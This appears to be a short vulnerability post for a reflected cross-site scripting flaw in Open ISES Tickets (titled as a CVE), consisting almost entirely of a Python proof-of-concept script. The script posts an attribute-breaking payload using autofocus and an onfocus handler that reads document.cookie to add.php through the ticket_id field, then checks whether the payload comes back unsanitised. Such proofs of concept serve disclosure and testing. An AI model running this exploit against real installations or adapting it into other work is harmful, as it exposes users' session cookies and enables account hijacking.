CVE-2026-48213: Open ISES Tickets反射型XSS漏洞

import requests target_url = "http://target-host/add.php" # Payload to break out of the value attribute and execute JS # Using an event handler to execute code without user interaction in some contexts xss_payload = '" autofocus onfocus=alert(document.cookie) a="' # Data payload simulating the POST request data = { "ticket_id": xss_payload, # Add other required form fields if necessary (e.g., submit button) } try: response = requests.post(target_url, data=data) # Check if the payload is reflected un-sanitized in the response if xss_payload in response.text: print("PoC successful: Payload reflected in response.") print("If an authenticated user views this page, the JS will execute.") else: print("PoC failed: Payload not reflected or input sanitized.") except Exception as e: print(f"Error connecting to target: {e}")